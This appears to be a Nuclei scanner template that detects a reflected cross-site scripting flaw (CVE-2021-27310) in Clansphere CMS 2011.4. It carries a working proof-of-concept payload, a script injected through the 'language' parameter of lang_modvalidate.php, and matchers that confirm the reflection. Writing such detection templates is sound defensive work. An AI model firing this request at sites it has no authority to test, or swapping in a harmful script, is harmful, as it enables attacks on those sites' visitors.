id: CVE-2021-27310

info:
  name: Clansphere CMS 2011.4 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the "language" parameter.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
  reference:
    - https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22language%22%20xss.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27310
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27310
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27310
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.40945
    cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: csphere
    product: clansphere
  tags: xss,cve,cve2021,clansphere

http:
  - method: GET
    path:
      - '{{BaseURL}}/clansphere/mods/clansphere/lang_modvalidate.php?language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&module=module'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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